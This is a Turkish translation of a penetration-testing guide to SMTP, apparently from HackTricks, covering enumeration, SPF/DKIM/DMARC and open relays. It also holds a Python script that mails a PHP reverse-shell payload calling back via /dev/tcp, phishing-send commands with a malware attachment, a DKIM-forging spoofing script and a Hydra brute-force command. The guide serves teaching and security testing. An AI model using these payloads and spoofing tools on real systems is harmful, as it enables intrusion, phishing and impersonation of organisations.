25,465,587 - Pentesting SMTP/s

Reading time: 18 minutes

Temel Bilgiler

Simple Mail Transfer Protocol (SMTP), e-posta gönderimi ve alımı için TCP/IP paketinde kullanılan bir protokoldür. Alıcı tarafında mesajları kuyruklama konusundaki sınırlamaları nedeniyle, SMTP genellikle POP3 veya IMAP ile birlikte kullanılır. Bu ek protokoller, kullanıcıların mesajları bir sunucu posta kutusunda saklamasına ve periyodik olarak indirmesine olanak tanır.

Uygulamada, e-posta programlarının e-postaları göndermek için SMTP'yi kullanması, e-postaları almak için ise POP3 veya IMAP'ı kullanması yaygındır. Unix tabanlı sistemlerde, sendmail e-posta amaçları için en sık kullanılan SMTP sunucusu olarak öne çıkar. Sendmail olarak bilinen ticari paket, bir POP3 sunucusunu da kapsamaktadır. Ayrıca, Microsoft Exchange bir SMTP sunucusu sağlar ve POP3 desteği ekleme seçeneği sunar.

Varsayılan port: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

Eğer kurbanın size bir e-posta göndermesi için fırsatınız varsa (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü kurbanın iç topolojisi hakkında bilgi edinebilirsiniz e-postanın başlıklarını görerek.

Ayrıca, bir SMTP sunucusundan var olmayan bir adrese e-posta göndermeye çalışarak bir e-posta alabilirsiniz (çünkü sunucu saldırgana bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.

Ayrıca, daha ilginç bilgiler bulabileceğiniz için farklı içerikler göndermeyi denemelisiniz, başlıklarda: X-Virus-Scanned: by av.domain.com gibi.
EICAR test dosyasını göndermelisiniz.
AV'yi tespit etmek, bilinen zafiyetleri istismar etmenizi sağlayabilir.

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Bir kuruluşun MX sunucularını bulma

dig +short mx google.com

Sayım

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Bilgi ifşası

Eğer sunucu NTLM kimlik doğrulamayı (Windows) destekliyorsa, hassas bilgilere (sürümler) ulaşabilirsiniz. Daha fazla bilgi burada.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Or otomatikleştir bunu nmap eklentisi smtp-ntlm-info.nse ile

İç sunucu adı - Bilgi ifşası

Bazı SMTP sunucuları, "MAIL FROM" komutu tam bir adres olmadan verildiğinde bir göndericinin adresini otomatik olarak tamamlar ve iç adını ifşa eder:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Port 25'e giden paketlerden bazı şifreleri koklayıp koklayamadığınızı kontrol edin.

Auth bruteforce

Kullanıcı Adı Bruteforce Sayımı

Kimlik doğrulama her zaman gerekli değildir.

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Otomatik araçlar

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

DSN Raporları

Teslimat Durumu Bildirim Raporları: Eğer bir e-postayı bir organizasyona geçersiz bir adrese gönderirseniz, organizasyon bu adresin geçersiz olduğunu size bir e-posta göndererek bildirecektir. Dönen e-postanın başlıkları, olası hassas bilgileri (raporlarla etkileşime giren e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi) içerecektir.

Komutlar

Linux konsolundan E-posta Gönderme

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Python ile E-posta Gönderme

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

SMTP Smuggling

SMTP Smuggling açığı, tüm SMTP korumalarını atlamaya izin verdi (korumalar hakkında daha fazla bilgi için bir sonraki bölüme bakın). SMTP Smuggling hakkında daha fazla bilgi için kontrol edin:

SMTP Smuggling

Mail Spoofing Karşı Önlemleri

Kuruluşlar, SMTP mesajlarının sahte bir şekilde gönderilmesinin kolaylığı nedeniyle, SPF, DKIM ve DMARC kullanarak kendi adlarına yetkisiz e-posta gönderilmesini engeller.

Bu karşı önlemler için kapsamlı bir rehber https://seanthegeek.net/459/demystifying-dmarc/ adresinde mevcuttur.

SPF

Gönderen Politika Çerçevesi (SPF), E-posta Transfer Ajanlarının (MTA'lar) bir e-posta gönderen bir ana bilgisayarın yetkilendirilip yetkilendirilmediğini, kuruluşlar tarafından tanımlanan yetkili e-posta sunucularının bir listesini sorgulayarak doğrulamasını sağlayan bir mekanizmadır. Bu liste, bir alan adı adına e-posta göndermeye yetkili IP adreslerini/aralıklarını, alan adlarını ve diğer varlıkları belirtir ve SPF kaydında çeşitli "Mekanizmalar" içerir.

Mekanizmalar

Wikipedia adresinden:

Ayrıca, bir mekanizma eşleştiğinde ne yapılması gerektiğini belirten Nitelikler tanımlamak da mümkündür. Varsayılan olarak, nitelik "+" kullanılır (yani, herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).
Genellikle, her SPF politikasının sonunda ~all veya -all gibi bir şey göreceksiniz. Bu, gönderen hiçbir SPF politikasına uymuyorsa, e-postayı güvensiz olarak işaretlemeniz (~) veya e-postayı reddetmeniz (-) gerektiğini belirtmek için kullanılır.

Nitelikler

Politikadaki her mekanizma, istenen sonucu tanımlamak için dört nitelikten biri ile ön eklenebilir:

• +: PASS sonucuna karşılık gelir. Varsayılan olarak, mekanizmalar bu nitelik varsayımını alır, bu da +mx'in mx ile eşdeğer olduğu anlamına gelir.
• ?: NEUTRAL sonucunu temsil eder, NONE (belirli bir politika yok) ile benzer şekilde işlenir.
• ~: SOFTFAIL'i belirtir, NEUTRAL ile FAIL arasında bir orta zemin sağlar. Bu sonucu karşılayan e-postalar genellikle kabul edilir ancak uygun şekilde işaretlenir.
• -: FAIL'i belirtir, e-postanın tamamen reddedilmesi gerektiğini önerir.

Gelecek örnekte, google.com'un SPF politikası gösterilmektedir. İlk SPF politikasında farklı alanlardan SPF politikalarının dahil edilmesine dikkat edin:

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Geleneksel olarak, doğru/hiçbir SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. Günümüzde, eğer e-posta geçerli bir SPF kaydı olmayan bir alandan geliyorsa, muhtemelen otomatik olarak reddedilecek/ güvensiz olarak işaretlenecektir.

Bir alan adının SPF kaydını kontrol etmek için şu çevrimiçi araçları kullanabilirsiniz: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM, dışa giden e-postaları imzalamak için kullanılır ve bu sayede dış Mail Transfer Agents (MTA'lar) tarafından alan adının DNS'inden kamu anahtarının alınmasıyla doğrulanmasını sağlar. Bu kamu anahtarı, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem seçici hem de alan adı bilinmelidir.

Örneğin, anahtarı talep etmek için alan adı ve seçici gereklidir. Bunlar, e-posta başlığında DKIM-Signature içinde bulunabilir, örneğin d=gmail.com;s=20120113.

Bu bilgiyi almak için bir komut şöyle görünebilir:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC, SPF ve DKIM protokollerinin üzerine inşa ederek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesi konusunda mail sunucularına rehberlik eden politikaları belirler; bu, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceği gibi konuları içerir.

DMARC kaydını almak için _dmarc alt alan adını sorgulamanız gerekir.

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC etiketleri

Alt Alan Adları Ne Olacak?

Buradan buraya.
Mail göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmalısınız.
Aşağıdaki bilgi, bu tür şeyler için harika bir kaynak olan openspf.org'da ilk olarak yayınlanmıştır.

Demon Sorusu: Alt alan adları ne olacak?

Eğer pielovers.demon.co.uk adresinden mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanamaz; eğer Demon bunu istiyorsa, her alt alan için SPF kayıtları oluşturabilir.

Bu nedenle SPF yayıncılarına tavsiye şudur: A veya MX kaydı olan her alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz.

Wildcard A veya MX kayıtlarına sahip sitelerin de şu biçimde bir wildcard SPF kaydına sahip olması gerekir: * IN TXT "v=spf1 -all"

Bu mantıklıdır - bir alt alan çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.

Açık İletim

E-postalar gönderildiğinde, spam olarak işaretlenmemelerini sağlamak çok önemlidir. Bu genellikle alıcı tarafından güvenilen bir iletim sunucusu kullanılarak sağlanır. Ancak, yaygın bir zorluk, yöneticilerin hangi IP aralıklarının güvenli olduğunu tam olarak bilmemesidir. Bu anlayış eksikliği, SMTP sunucusunun kurulumu sırasında hatalara yol açabilir; bu, güvenlik değerlendirmelerinde sıkça tespit edilen bir risktir.

Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişimde e-posta teslimat sorunlarını önlemek için kullandığı bir çözüm, herhangi bir IP adresinden bağlantılara izin vermektir. Bu, SMTP sunucusunun mynetworks parametresinin tüm IP adreslerini kabul edecek şekilde yapılandırılmasıyla yapılır, aşağıda gösterildiği gibi:

mynetworks = 0.0.0.0/0

Bir mail sunucusunun açık bir relay olup olmadığını kontrol etmek için (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir), nmap aracı yaygın olarak kullanılır. Bu amaçla test etmek için tasarlanmış özel bir betik içerir. nmap kullanarak 25 numaralı portta bir sunucuda (örneğin, IP 10.10.10.10 ile) ayrıntılı bir tarama gerçekleştirmek için komut:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Araçlar

• https://github.com/serain/mailspoof SPF ve DMARC yanlış yapılandırmalarını kontrol et
• https://pypi.org/project/checkdmarc/ SPF ve DMARC yapılandırmalarını otomatik olarak al

Sahte E-posta Gönder

• https://www.mailsploit.com/index
• http://www.anonymailer.net/
• https://emkei.cz/

Ya da bir araç kullanabilirsiniz:

• https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Ya da bunu manuel olarak yapabilirsiniz:

# Bu, imzasız bir mesaj gönderecektir
mail("your_email@gmail.com", "Test Subject!", "hey! Bu bir test", "From: administrator@victim.com");

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

Daha fazla bilgi

Bu korumalar hakkında daha fazla bilgi bulmak için https://seanthegeek.net/459/demystifying-dmarc/

Diğer oltalama göstergeleri

• Alan adının yaşı
• IP adreslerine işaret eden bağlantılar
• Bağlantı manipülasyon teknikleri
• Şüpheli (olağandışı) ekler
• Bozuk e-posta içeriği
• E-posta başlıklarından farklı olan kullanılan değerler
• Geçerli ve güvenilir bir SSL sertifikasının varlığı
• Sayfanın web içerik filtreleme sitelerine gönderilmesi

SMTP Üzerinden Exfiltrasyon

Eğer verileri SMTP üzerinden gönderebiliyorsanız bunu okuyun.

Konfigürasyon dosyası

Postfix

Genellikle, yüklüyse, /etc/postfix/master.cf dosyası, örneğin bir kullanıcı tarafından yeni bir e-posta alındığında çalıştırılacak betikleri içerir. Örneğin flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} satırı, kullanıcı mark tarafından yeni bir e-posta alındığında /etc/postfix/filtering'in çalıştırılacağını belirtir.

Diğer konfigürasyon dosyaları:

sendmail.cf
submit.cf

Referanslar

• https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
• https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/

HackTricks Otomatik Komutlar

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'